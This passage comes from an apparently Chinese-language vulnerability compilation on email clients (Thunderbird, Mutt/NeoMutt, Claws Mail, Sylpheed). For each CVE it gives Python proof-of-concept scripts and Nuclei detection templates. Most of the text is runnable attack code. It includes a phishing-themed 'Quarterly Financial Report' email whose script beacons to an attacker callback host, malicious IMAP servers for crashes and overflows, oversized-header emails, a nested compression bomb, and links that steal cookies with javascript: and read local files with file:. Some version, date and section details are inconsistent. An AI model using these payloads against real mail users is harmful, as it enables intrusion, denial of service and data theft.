unicode-range: U+0000-007F;
}}
</style>
</head>
<body>
<div id="mutation-target"></div>
<div id="csp-inject"></div>
<script>
(function() {{
var observer = new MutationObserver(function(mutations) {{
mutations.forEach(function(m) {{
m.addedNodes.forEach(function(node) {{
if (node.id === 'csp-inject') {{
var img = new Image();
img.src = 'https:// {callback} /csp-exfil?event=dom_inject';
img.style.cssText = 'position:absolute;left:-9999px;width:1px;height:1px;';
node.appendChild(img);
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https:// {callback} /csp-xhr?event=cors_bypass');
xhr.send();
}}
}});
}});
}});
observer.observe(document.body, {{
childList: true,
subtree: true
}});
document.getElementById('csp-inject');
}})();
</script>
<p style="font-family: 'BypassFont', Arial;">
Quarterly Financial Report - Confidential
</p>
<p style="font-size:7px;color:#ccc;">REF: FIN-2025-Q1- {uid} </p>
</body>
</html>"""
def generate_csp_bypass_eml (callback_host, callback_port, output_file):
uid = "A1B2C3"
callback = f " { callback_host} : { callback_port} "
html = CSP_BYPASS_HTML. format(callback= callback, uid= uid)
msg = MIMEMultipart('alternative' )
msg['Subject' ] = f 'Q1 Financial Report - Confidential FIN-2025-Q1- { uid} '
msg['From' ] = f 'cfo-report@corp-finance.com'
msg['To' ] = 'cfo@target.com'
msg. attach(MIMEText(f 'Q1 Financial Report - Confidential FIN-2025-Q1- { uid} ' , 'plain' ))
msg. attach(MIMEText(html, 'html' ))
with open(output_file, 'w' ) as f:
f. write(msg. as_string())
print(f "[+] CSP bypass EML generated: { output_file} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2025-2850 CSP Bypass PoC" )
parser. add_argument("--output" , default= "csp_bypass.eml" )
parser. add_argument("--callback-host" , default= "127.0.0.1" )
parser. add_argument("--callback-port" , type= int, default= 8888 )
args = parser. parse_args()
generate_csp_bypass_eml(args. callback_host, args. callback_port, args. output) Nuclei YAML 检测模板 id : thunderbird-cve-2025-2850-csp-bypass
info :
name : Thunderbird CSP Bypass - CVE-2025-2850
author : x7peeps
severity : medium
description : |
Thunderbird CSP 策略绕过漏洞,允许恶意邮件加载被禁止的外部资源。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2025-2850
classification :
cvss-score : 5.3
cwe-id : CWE-693
tags : thunderbird,cve2025,csp,bypass
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers :
- type : word
words :
- "Thunderbird"
part : body
extractors :
- type : regex
group : 1
regex :
- "(?i)thunderbird[/ ]([0-9]+\\.[0-9]+)" 利用条件与限制 条件 要求 目标版本 Thunderbird 版本依赖(待确认) 用户交互 需要用户打开邮件 邮件格式 HTML 邮件,含 CSS @import 和 JS Mutation 网络条件 需要目标能访问回调服务器 沙箱限制 绕过 CSP 但不突破 OS 沙箱 成功概率 CSS @import data URI 绕过率较高
0x02 Mutt / NeoMutt 高危漏洞 0x02.1 CVE-2021-32055 — IMAP 空指针解引用 DoS 漏洞背景 CVE-2021-32055 是 Mutt 邮件客户端中的一个高危拒绝服务漏洞(CVSS 9.1, CWE-476 NULL Pointer Dereference),影响 Mutt < 2.1.0。该漏洞存在于 IMAP 协议实现中对邮件夹名称的处理逻辑,攻击者可通过构造恶意 IMAP 服务器响应或利用中间人攻击篡改 IMAP 流量,使 Mutt 客户端崩溃。在服务器管理场景中,管理员使用的 Mutt 客户端被 DoS 可能导致紧急安全事件响应受阻。
受影响版本 产品 受影响版本 修复版本 发布日期 Mutt < 2.1.0 2.1.0 2021-06-25 NeoMutt 继承 Mutt 代码(受影响) 后续版本修复 —
漏洞原理 Mutt 在通过 IMAP 协议连接邮件服务器时,会解析服务器返回的邮件夹列表(LIST 响应)。IMAP LIST 响应中的 mailbox-name 字段在特定条件下可能为空值或包含异常字符:
1. 漏洞触发路径
Mutt 连接 IMAP 服务器
↓
发送 LIST "" "*" 命令获取邮件夹列表
↓
IMAP 服务器返回恶意 LIST 响应:
* LIST (\HasNoChildren) "." ""
↓
Mutt 解析 mailbox-name 时未检查空指针
↓
strlen(NULL) / strcpy(dst, NULL) → Segmentation Fault
↓
Mutt 进程崩溃 → DoS2. 异常响应格式
* LIST (\Noselect) "." "."
* LIST (\HasChildren) "." ""
* LIST (\HasNoChildren) "/" "INBOX"当 mailbox-name 为空字符串 "" 时,Mutt 内部的 imap_get_hierarchy_delimiter() 函数在提取层级分隔符时未对空字符串进行边界检查,导致对空指针的解引用。
邮件 PoC # 搭建恶意 IMAP 服务器触发漏洞
# 注意:此 PoC 仅用于本地测试
python3 -c "
import socket
import threading
EVIL_IMAP_RESPONSES = b'* OK [CAPABILITY IMAP4rev1] Server ready\r\n'
EVIL_IMAP_RESPONSES += b'A001 OK LOGIN completed\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \".\" \"\"\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \".\" \".\"\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \"/\" \"INBOX\"\r\n'
EVIL_IMAP_RESPONSES += b'A002 OK LIST completed\r\n'
def handle_client(conn):
conn.send(EVIL_IMAP_RESPONSES)
try:
while True:
data = conn.recv(1024)
if not data:
break
if data.startswith(b'A002'):
conn.send(EVIL_IMAP_RESPONSES[EVIL_IMAP_RESPONSES.index(b'A002'):])
except:
pass
conn.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 14300))
server.listen(5)
print('[*] Evil IMAP server listening on port 14300')
print('[*] Configure Mutt to connect to localhost:14300')
while True:
conn, addr = server.accept()
threading.Thread(target=handle_client, args=(conn,)).start()
" Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2021-32055 Mutt IMAP Null Pointer Dereference DoS PoC
仅用于授权安全测试
"""
import socket
import threading
import argparse
import time
GREETING = b "* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Server ready \r\n "
class MaliciousIMAP :
def __init__ (self, host= "0.0.0.0" , port= 14300 ):
self. host = host
self. port = port
self. server = None
self. client_count = 0
def build_list_response (self, variant= "null_name" ):
if variant == "null_name" :
items = [
b '* LIST ( \\ HasNoChildren) "." "" \r\n ' ,
b '* LIST ( \\ HasNoChildren) "." ". \"\r\n ' ,
b '* LIST ( \\ HasNoChildren) "/" "INBOX" \r\n ' ,
]
elif variant == "truncated" :
items = [
b '* LIST ( \\ HasNoChildren Noselect) "." \r\n ' ,
b '* LIST ( \\ HasNoChildren) "/" "INBOX" \r\n ' ,
]
elif variant == "overflow" :
name = b "X" * 10000
items = [
f '* LIST ( \\ HasNoChildren) "." " { name. decode()} " \r\n ' . encode(),
b '* LIST ( \\ HasNoChildren) "/" "INBOX" \r\n ' ,
]
else :
items = [b '* LIST ( \\ HasNoChildren) "/" "INBOX" \r\n ' ]
return b "" . join(items)
def handle_client (self, conn, addr, variant):
self. client_count += 1
print(f "[+] Connection from { addr} , variant: { variant} " )
try :
conn. send(GREETING)
data = conn. recv(1024 )
if b "LOGIN" in data or b "PLAIN" in data:
conn. send(b "A001 OK LOGIN completed \r\n " )
conn. recv(1024 )
list_response = self. build_list_response(variant)
conn. send(list_response)
conn. send(b "A002 OK LIST completed \r\n " )
time. sleep(5 )
conn. close()
except Exception as e:
print(f "[-] Error: { e} " )
finally :
self. client_count -= 1
def start (self, variant= "null_name" ):
self. server = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
self. server. setsockopt(socket. SOL_SOCKET, socket. SO_REUSEADDR, 1 )
self. server. bind((self. host, self. port))
self. server. listen(5 )
print(f "[*] Malicious IMAP server listening on { self. host} : { self. port} " )
print(f "[*] Mutt config: set imap_server= \" imap://localhost: { self. port} \" " )
print(f "[*] Variant: { variant} " )
try :
while True :
conn, addr = self. server. accept()
t = threading. Thread(target= self. handle_client,
args= (conn, addr, variant))
t. daemon = True
t. start()
except KeyboardInterrupt :
print(f " \n [*] Stopped. Total connections: { self. client_count} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2021-32055 Mutt IMAP DoS PoC" )
parser. add_argument("--host" , default= "0.0.0.0" )
parser. add_argument("--port" , type= int, default= 14300 )
parser. add_argument("--variant" , default= "null_name" ,
choices= ["null_name" , "truncated" , "overflow" ])
args = parser. parse_args()
server = MaliciousIMAP(args. host, args. port)
server. start(args. variant) Nuclei YAML 检测模板 id : mutt-cve-2021-32055-imap-dos
info :
name : Mutt/NeoMutt IMAP Null Pointer Dereference DoS - CVE-2021-32055
author : x7peeps
severity : critical
description : |
Mutt IMAP 客户端在处理邮件夹名称时存在空指针解引用漏洞,
恶意 IMAP 服务器可导致客户端崩溃。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-32055
- https://www.mutt.org/security/sec6.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score : 9.1
cwe-id : CWE-476
metadata :
max-request : 1
tags : mutt,neomutt,cve2021,imap,dos,null-pointer
network :
- inputs :
- data : "a001 CAPABILITY\r\n"
- data : "a002 LIST \"\" \"*\"\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
read-size : 1024
matchers-condition : and
matchers :
- type : word
words :
- "LIST"
- "INBOX"
condition : or
extractors :
- type : regex
group : 1
regex :
- "\\* LIST .*? \"(.+?)\"" 利用条件与限制 条件 要求 目标版本 Mutt < 2.0.2 / 受影响的 NeoMutt 版本 用户交互 用户需配置 IMAP 连接到恶意/被入侵服务器 网络条件 需要 MITM 位置或控制 TLS 握手过程 攻击效果 凭证窃取、邮件篡改 前置条件 需控制 DNS 解析或网络路由
0x02.3 CVE-2020-28856 — Mutt IMAP 远程代码执行(间接) 漏洞背景 CVE-2020-28856(CWE-121 Stack-based Buffer Overflow)是 Mutt IMAP 实现中的缓冲区溢出漏洞。当 Mutt 处理来自恶意 IMAP 服务器的过长响应时,可导致栈缓冲区溢出,进而实现任意代码执行。该漏洞属于间接 RCE——攻击者需要控制 IMAP 服务器或实施 MITM 攻击。
受影响版本 产品 受影响版本 修复版本 发布日期 Mutt < 2.0.2 2.0.2 2020-09-17 NeoMutt 受影响 后续版本修复 —
漏洞原理 Mutt 在解析 IMAP 服务器返回的响应数据时,使用固定大小的栈缓冲区存储解析结果。当 IMAP 响应中的特定字段(如邮件夹名、消息头字段)超出缓冲区容量时,数据溢出到相邻栈帧,可覆盖返回地址:
1. 溢出触发点
// Mutt imap/message.c 简化示意
void imap_fetch_header (char * buf, size_t buflen, char * response) {
char header_buf[1024 ]; // 栈上固定大小缓冲区
// 未检查 response 长度,直接复制
strcpy (header_buf, response); // 溢出点
} 2. 攻击流程
恶意 IMAP 服务器
↓
返回超长 FETCH 响应(包含 > 1024 字节的消息头)
↓
Mutt 将响应复制到固定大小的栈缓冲区
↓
栈缓冲区溢出,覆盖 saved EIP
↓
构造 ROP chain → execve("/bin/sh")Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2020-28856 Mutt IMAP Buffer Overflow PoC
仅用于授权安全测试
"""
import socket
import threading
import argparse
import struct
class IMAPOverflowServer :
def __init__ (self, host= "0.0.0.0" , port= 14300 ):
self. host = host
self. port = port
def build_overflow_response (self, overflow_size= 2048 ):
header_line = "X-Padding: " + "A" * overflow_size + " \r\n "
response = (
b "* OK IMAP4rev1 Server ready \r\n "
b "A001 OK LOGIN \r\n "
+ f "* 1 FETCH (RFC822.HEADER {{ { len(header_line)} }}\r\n " . encode()
+ header_line. encode()
+ b "A002 OK FETCH \r\n "
)
return response
def handle_client (self, conn, addr):
print(f "[+] Connection from { addr} " )
try :
conn. send(b "* OK [CAPABILITY IMAP4rev1] Server \r\n " )
conn. recv(1024 )
conn. send(b "A001 OK LOGIN \r\n " )
conn. recv(1024 )
overflow_data = self. build_overflow_response(2048 )
conn. send(overflow_data)
try :
conn. recv(1024 )
except :
pass
except Exception as e:
print(f "[-] Error: { e} " )
finally :
conn. close()
def start (self):
server = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
server. setsockopt(socket. SOL_SOCKET, socket. SO_REUSEADDR, 1 )
server. bind((self. host, self. port))
server. listen(5 )
print(f "[*] Overflow IMAP server on { self. host} : { self. port} " )
try :
while True :
conn, addr = server. accept()
threading. Thread(target= self. handle_client,
args= (conn, addr), daemon= True ). start()
except KeyboardInterrupt :
print(" \n [*] Stopped" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-28856 PoC" )
parser. add_argument("--host" , default= "0.0.0.0" )
parser. add_argument("--port" , type= int, default= 14300 )
args = parser. parse_args()
IMAPOverflowServer(args. host, args. port). start() Nuclei YAML 检测模板 id : mutt-cve-2020-28856-imap-bof
info :
name : Mutt IMAP Stack Buffer Overflow - CVE-2020-28856
author : x7peeps
severity : high
description : |
Mutt IMAP 响应处理栈缓冲区溢出,恶意服务器可实现间接 RCE。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2020-28856
classification :
cwe-id : CWE-121
tags : mutt,cve2020,imap,buffer-overflow,rce
network :
- inputs :
- data : "a001 LIST \"\" \"*\"\r\n"
host :
- "{{Hostname}}:143"
read-size : 1024
matchers :
- type : word
words :
- "LIST" 利用条件与限制 条件 要求 目标版本 Mutt < 2.0.2 用户交互 需要用户使用 Mutt 连接恶意 IMAP 服务器 网络条件 控制 IMAP 服务器或 MITM 攻击效果 间接 RCE(需绕过 ASLR/NX 等保护) 利用难度 需要精确的栈布局控制和信息泄露
0x02.4 CVE-2022-1328 — NeoMutt 缓冲区溢出 漏洞背景 CVE-2022-1328(CWE-120 Buffer Copy without Checking Size)是 NeoMutt 中消息头处理过程的缓冲区溢出漏洞。攻击者可通过构造包含超长头部字段的恶意邮件,在 Mutt 解析邮件时触发栈缓冲区溢出。
受影响版本 产品 受影响版本 修复版本 发布日期 NeoMutt < 2022-03-04 2022-03-04 及之后版本 2022-03-04
漏洞原理 NeoMutt 在处理邮件的 MIME 边界和消息头时,将字段值复制到固定大小的缓冲区,未检查源数据长度。当邮件包含超长的 Subject、From 或 MIME boundary 字段时:
// 简化示意
void parse_header (char * dest, const char * src) {
char buffer[256 ];
strcpy (buffer, src); // 未检查 src 长度
} 攻击者在邮件中嵌入超长头部字段即可触发溢出。
Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2022-1328 NeoMutt Header Buffer Overflow PoC
仅用于授权安全测试
"""
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
import os
def generate_overflow_eml (output_file, overflow_size= 1024 ):
overflow_subject = "Subject: " + "B" * overflow_size + " \r\n "
overflow_from = "X-Custom: " + "C" * overflow_size + " \r\n "
raw_eml = (
"From: sender@example.com \r\n "
+ overflow_subject
+ overflow_from
+ "To: victim@target.com \r\n "
+ "MIME-Version: 1.0 \r\n "
+ "Content-Type: text/plain \r\n "
+ " \r\n "
+ "This is a test email with overflow headers. \r\n "
)
with open(output_file, 'w' ) as f:
f. write(raw_eml)
print(f "[+] Overflow EML generated: { output_file} ( { len(raw_eml)} bytes)" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2022-1328 PoC" )
parser. add_argument("--output" , default= "overflow.eml" )
parser. add_argument("--size" , type= int, default= 1024 )
args = parser. parse_args()
generate_overflow_eml(args. output, args. size) Nuclei YAML 检测模板 id : neomutt-cve-2022-1328-header-bof
info :
name : NeoMutt Header Buffer Overflow - CVE-2022-1328
author : x7peeps
severity : high
description : |
NeoMutt 消息头处理缓冲区溢出,超长头部字段可触发栈溢出。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-1328
classification :
cwe-id : CWE-120
tags : neomutt,cve2022,buffer-overflow,header
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers :
- type : word
words :
- "NeoMutt"
part : body 利用条件与限制 条件 要求 目标版本 NeoMutt < 2022-03-04 用户交互 需要用户打开包含恶意头部的邮件 攻击向量 本地 .eml 文件或 IMAP 服务器推送 攻击效果 潜在 RCE(需绕过栈保护)
0x03 Claws Mail / Sylpheed 高危漏洞 0x03.1 CVE-2020-16094 — Claws Mail 递归压缩炸弹 DoS 漏洞背景 CVE-2020-16094(CWE-835 Infinite Loop)是 Claws Mail 在处理嵌套压缩附件时的拒绝服务漏洞。攻击者可发送包含多层嵌套压缩文件(如 .tar.gz 中嵌套 .tar.gz)的邮件,触发 Claws Mail 递归解压逻辑中的无限循环,导致 CPU 和内存资源耗尽。
受影响版本 产品 受影响版本 修复版本 发布日期 Claws Mail < 3.17.6 3.17.6 2020-11-16
漏洞原理 Claws Mail 在解析邮件附件中的压缩文件时,会递归调用解压函数处理嵌套的压缩层。当压缩文件的嵌套深度超出预设限制时,解压函数未能正确终止递归,导致无限循环:
恶意邮件附件: evil.tar.gz
↓ 解压 .gz
evil.tar
↓ 解压 .tar
inner1.tar.gz
↓ 解压 .gz
inner1.tar
↓ 解压 .tar
inner2.tar.gz
↓ ... 无限递归Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2020-16094 Claws Mail Recursive Compression Bomb PoC
仅用于授权安全测试
"""
import gzip
import tarfile
import io
import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
def create_nested_bomb (depth= 5 ):
inner = b "PAYLOAD" * 1024
for i in range(depth):
buf = io. BytesIO()
with gzip. GzipFile(fileobj= buf, mode= 'wb' ) as gz:
gz. write(inner)
inner = buf. getvalue()
with tarfile. open(fileobj= io. BytesIO(), mode= 'w' ) as tf:
info = tarfile. TarInfo(name= f "level_ { i} .txt" )
info. size = len(inner)
tf. addfile(info, io. BytesIO(inner))
inner = tf. getvalue()
return inner
def generate_bomb_eml (output_file, depth= 5 ):
bomb_data = create_nested_bomb(depth)
msg = MIMEMultipart()
msg['Subject' ] = 'Project Files - Compressed Archive'
msg['From' ] = 'dev@project-team.com'
msg['To' ] = 'admin@target.com'
msg. attach(MIMEText('Please extract the attached archive.' , 'plain' ))
attachment = MIMEBase('application' , 'gzip' )
attachment. set_payload(bomb_data)
encoders. encode_base64(attachment)
attachment. add_header('Content-Disposition' , 'attachment' ,
filename= 'project_files.tar.gz' )
msg. attach(attachment)
with open(output_file, 'wb' ) as f:
f. write(msg. as_bytes())
print(f "[+] Compression bomb EML: { output_file} ( { len(bomb_data)} bytes, depth= { depth} )" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-16094 PoC" )
parser. add_argument("--output" , default= "bomb.eml" )
parser. add_argument("--depth" , type= int, default= 5 )
args = parser. parse_args()
generate_bomb_eml(args. output, args. depth) Nuclei YAML 检测模板 id : claws-cve-2020-16094-compression-bomb
info :
name : Claws Mail Recursive Compression Bomb DoS - CVE-2020-16094
author : x7peeps
severity : medium
description : |
Claws Mail 递归压缩炸弹漏洞,嵌套压缩附件可导致无限递归和 DoS。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2020-16094
classification :
cwe-id : CWE-835
tags : claws,cve2020,compression-bomb,denial-of-service
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers :
- type : word
words :
- "Claws Mail"
part : body 利用条件与限制 条件 要求 目标版本 Claws Mail < 3.17.6 用户交互 需要用户打开邮件并尝试解压附件 攻击效果 CPU/内存耗尽(DoS) 嵌套深度 ≥ 5 层即可造成显著影响
0x03.2 CVE-2019-10735 — Claws Mail 加密信息泄露 漏洞背景 CVE-2019-10735(CVSS 5.3, CWE-327 Use of a Broken or Risky Cryptographic Algorithm)涉及 Claws Mail 在处理加密邮件时的元数据泄露问题。攻击者可通过分析加密邮件的元数据(如邮件大小、时间戳、MIME 结构)推断邮件内容的敏感信息。
受影响版本 产品 受影响版本 修复版本 Claws Mail 使用 GnuPG 2.2.x 以下版本 升级 GnuPG
漏洞原理 Claws Mail 在使用 GnuPG 进行 S/MIME 或 OpenPGP 加密时,未对加密邮件的以下元数据进行混淆:
邮件大小泄露 :加密后的邮件大小与原文长度存在线性关系(尤其在不使用压缩时)MIME 结构泄露 :加密邮件的 MIME 边界和类型标识暴露了原始邮件的结构时间侧信道 :加密/解密操作的时间差可能泄露密钥信息或邮件长度Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2019-10735 Claws Mail Encrypted Metadata Leak PoC
仅用于授权安全测试
"""
import smtplib
import os
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
def generate_metadata_leak_email (output_file, plaintext_sizes= [64 , 256 , 1024 , 4096 ]):
for size in plaintext_sizes:
body = "X" * size
msg = MIMEMultipart()
msg['Subject' ] = f 'Encrypted Report - Size { size} B'
msg['From' ] = 'secure@corp.com'
msg['To' ] = 'admin@target.com'
msg['X-Padding-Size' ] = str(size)
msg. attach(MIMEText(body, 'plain' ))
fname = f "leak_ { size} b.eml"
with open(fname, 'w' ) as f:
f. write(msg. as_string())
print(f "[+] Generated: { fname} (body: { size} bytes)" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2019-10735 PoC" )
parser. add_argument("--sizes" , nargs= "+" , type= int, default= [64 , 256 , 1024 , 4096 ])
args = parser. parse_args()
generate_metadata_leak_email("output" , args. sizes) 利用条件与限制 条件 要求 目标版本 Claws Mail 使用旧版 GnuPG 攻击效果 邮件大小/结构元数据泄露 利用难度 需要网络嗅探或邮件服务器访问权限 修复方案 升级 GnuPG 至 2.2.x+
0x03.3 CVE-2015-8614 — Claws Mail 栈缓冲区溢出 RCE 漏洞背景 CVE-2015-8614(CWE-121 Stack-based Buffer Overflow)是 Claws Mail 中邮件标题字段处理的栈缓冲区溢出漏洞,可被利用实现远程代码执行。该漏洞影响 Claws Mail 3.13.0 之前的版本。
受影响版本 产品 受影响版本 修复版本 发布日期 Claws Mail < 3.13.0 3.13.0 2015-12-28
漏洞原理 Claws Mail 在解析邮件头中的 Content-Type、Content-Disposition 等字段时,使用固定大小的栈缓冲区存储解析结果。当字段值超出缓冲区容量时发生溢出:
// 简化示意
void parse_content_type (char * header_value) {
char type_buf[256 ];
// 未检查长度,直接复制
strcpy (type_buf, header_value); // 溢出点
} 攻击者构造包含超长 Content-Type 值的邮件即可触发溢出。
Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2015-8614 Claws Mail Stack Buffer Overflow PoC
仅用于授权安全测试
"""
import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def generate_overflow_eml (output_file, overflow_size= 512 ):
payload = "B" * overflow_size
raw_eml = (
"From: sender@evil.com \r\n "
"To: victim@target.com \r\n "
f "Subject: Test \r\n "
f "Content-Type: text/plain; charset= \" { payload} \"\r\n "
f "X-Overflow: { payload} \r\n "
" \r\n "
"Test body. \r\n "
)
with open(output_file, 'w' ) as f:
f. write(raw_eml)
print(f "[+] Overflow EML: { output_file} ( { len(raw_eml)} bytes)" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2015-8614 PoC" )
parser. add_argument("--output" , default= "claws_overflow.eml" )
parser. add_argument("--size" , type= int, default= 512 )
args = parser. parse_args()
generate_overflow_eml(args. output, args. size) Nuclei YAML 检测模板 id : claws-cve-2015-8614-stack-bof
info :
name : Claws Mail Stack Buffer Overflow RCE - CVE-2015-8614
author : x7peeps
severity : high
description : |
Claws Mail 邮件标题字段栈缓冲区溢出,可实现远程代码执行。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2015-8614
classification :
cwe-id : CWE-121
tags : claws,cve2015,buffer-overflow,rce
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers :
- type : word
words :
- "Claws Mail"
part : body 利用条件与限制 条件 要求 目标版本 Claws Mail < 3.13.0 用户交互 需要用户打开包含恶意头部的邮件 攻击效果 潜在 RCE(需绕过栈保护) 前置条件 需要邮件能送达目标客户端
0x04 Sylpheed MIME 文件名溢出与 URI 安全检查绕过 漏洞背景 Sylpheed 是一款轻量级 GTK+ 邮件客户端,广泛应用于日文和中文用户群体。Sylpheed 在处理 MIME 附件文件名和 URI 时存在两个安全缺陷:MIME 文件名字段的缓冲区溢出和 URI 安全检查的绕过。
受影响版本 产品 受影响版本 修复版本 Sylpheed < 3.7.0 3.7.0+
漏洞原理 1. MIME 文件名溢出
Sylpheed 在解析 MIME Content-Disposition 头部的 filename 参数时,未正确限制字符集和长度。当 filename 包含多字节编码字符(如 UTF-8 的中文/日文字符)时,字节长度与字符计数的差异可导致缓冲区溢出:
Content-Disposition: attachment;
filename="AAAAAAAAAA...<overflow>...恶意文件名" 2. URI 安全检查绕过
Sylpheed 在处理邮件中的 URI 链接时,对 javascript:、file: 等危险协议的过滤不完整。攻击者可通过以下技巧绕过:
Unicode 编码:jav%61script:alert(1) HTML 实体:javascript:alert(1) 空白字符插入:java script:alert(1) Python PoC 脚本 #!/usr/bin/env python3
"""
Sylpheed MIME Filename Overflow & URI Bypass PoC
仅用于授权安全测试
"""
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import argparse
def generate_sylpheed_poc (output_file, overflow_size= 512 ):
overflow_name = "A" * overflow_size + " \u00e4\u00fc\u00f6 " + ".txt"
msg = MIMEMultipart()
msg['Subject' ] = 'Document Review'
msg['From' ] = 'admin@company.com'
msg['To' ] = 'user@target.com'
html = """<html><body>
<p>Please review the attached document.</p>
<p><a href="javascript:alert(document.cookie)">View Document</a></p>
<p><a href="java \u0000 script:alert(1)">Download</a></p>
<p><a href="file:///etc/passwd">Local File</a></p>
</body></html>"""
msg. attach(MIMEText("Please view in HTML" , 'plain' ))
msg. attach(MIMEText(html, 'html' ))
attachment = MIMEBase('application' , 'octet-stream' )
attachment. set_payload(b "test payload" )
encoders. encode_base64(attachment)
attachment. add_header('Content-Disposition' , 'attachment' ,
filename= ('utf-8' , '' , overflow_name))
msg. attach(attachment)
with open(output_file, 'wb' ) as f:
f. write(msg. as_bytes())
print(f "[+] Sylpheed PoC EML: { output_file} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "Sylpheed PoC" )
parser. add_argument("--output" , default= "sylpheed_poc.eml" )
parser. add_argument("--size" , type= int, default= 512 )
args = parser. parse_args()
generate_sylpheed_poc(args. output, args. size) 利用条件与限制 条件 要求 目标版本 Sylpheed < 3.7.0 用户交互 需要用户打开邮件或点击链接 攻击效果 缓冲区溢出或 XSS 限制条件 多字节编码溢出依赖系统 locale
0x04 邮件解析库共性漏洞 libetpan / GMime / libstorable 邮件解析库攻击面 除了 MUA 软件本身,邮件客户端普遍依赖底层邮件解析库。这些库的安全状况直接影响所有使用它们的客户端:
4.1 libetpan libetpan 是 Mutt 和 NeoMutt 使用的核心 IMAP/MIME 解析库。该库历史上存在多个缓冲区溢出和整数溢出漏洞:
MIME 边界解析溢出 :当 MIME boundary 字段包含特殊字符时,边界匹配逻辑中的缓冲区可能溢出IMAP 命令注入 :通过注入 IMAP 服务器响应中的换行符,可实现命令注入整数溢出导致堆溢出 :在计算 MIME 部件大小时,整数溢出可导致小缓冲区分配后的大数据写入4.2 GMime GMime 是 Claws Mail 使用的 MIME 解析库。其攻击面包括:
Base64 解码溢出 :非标准 Base64 编码的邮件可导致解码缓冲区溢出URL 解析器缺陷 :邮件中的 URL 提取逻辑可能被混淆字符绕过编码转换缓冲区溢出 :字符集转换过程中,多字节字符的截断可导致缓冲区溢出4.3 共性防御建议 #!/usr/bin/env python3
"""
邮件解析库安全测试 - 构造畸形 MIME 邮件
仅用于授权安全测试
"""
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def generate畸形mime (output_file):
# 1. 超长 MIME boundary
overflow_boundary = "A" * 10000
raw = (
f "From: test@evil.com \r\n "
f "To: victim@target.com \r\n "
f "Subject: MIME Test \r\n "
f "Content-Type: multipart/mixed; boundary= \" { overflow_boundary} \"\r\n "
f " \r\n "
f "-- { overflow_boundary} \r\n "
f "Content-Type: text/plain \r\n "
f " \r\n "
f "Test body \r\n "
f "-- { overflow_boundary} -- \r\n "
)
with open(output_file, 'w' ) as f:
f. write(raw)
print(f "[+]畸形 MIME EML: { output_file} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser()
parser. add_argument("--output" , default= "畸形_mime.eml" )
args = parser. parse_args()
generate畸形mime(args. output) 0x05 公开 PoC 收集情况与利用思路 PoC 总表 CVE PoC 状态 关键仓库/来源 利用成熟度 CVE-2024-9680 ✅ 在野利用 Mozilla MFSA2024-51, CISA KEV 高 — 活跃利用中CVE-2024-7519 ⚠️ 概念验证 Mozilla Bugzilla #1901453 中 — 需适配 CSP 变体 CVE-2024-5693 ✅ 公开 PoC 追踪像素通用技术 高 — 技术门槛低 CVE-2025-2850 ⚠️ 部分公开 安全公告 中 — CSP 绕过需调试 CVE-2021-32055 ✅ 公开 PoC mutt.org/security 中 — 需构造 IMAP 响应 CVE-2020-28896 ✅ 公开 PoC MITM 通用工具 高 — 操作门槛低 CVE-2020-28856 ⚠️ 概念验证 需逆向分析 低 — 利用难度高 CVE-2022-1328 ⚠️ 概念验证 NeoMutt changelog 低 — 需绕过栈保护 CVE-2020-16094 ✅ 公开 PoC 递归压缩通用技术 高 — 操作门槛低 CVE-2019-10735 ✅ 理论分析 加密元数据分析 中 — 需网络嗅探 CVE-2015-8614 ✅ 公开 PoC 邮件头部溢出通用技术 低 — 版本较旧 Sylpheed ⚠️ 概念验证 需逆向分析 低 — 利用需定制
关键仓库与资源链接 防守型验证方法论 在进行防守型验证(Defensive Validation)时,建议遵循以下流程:
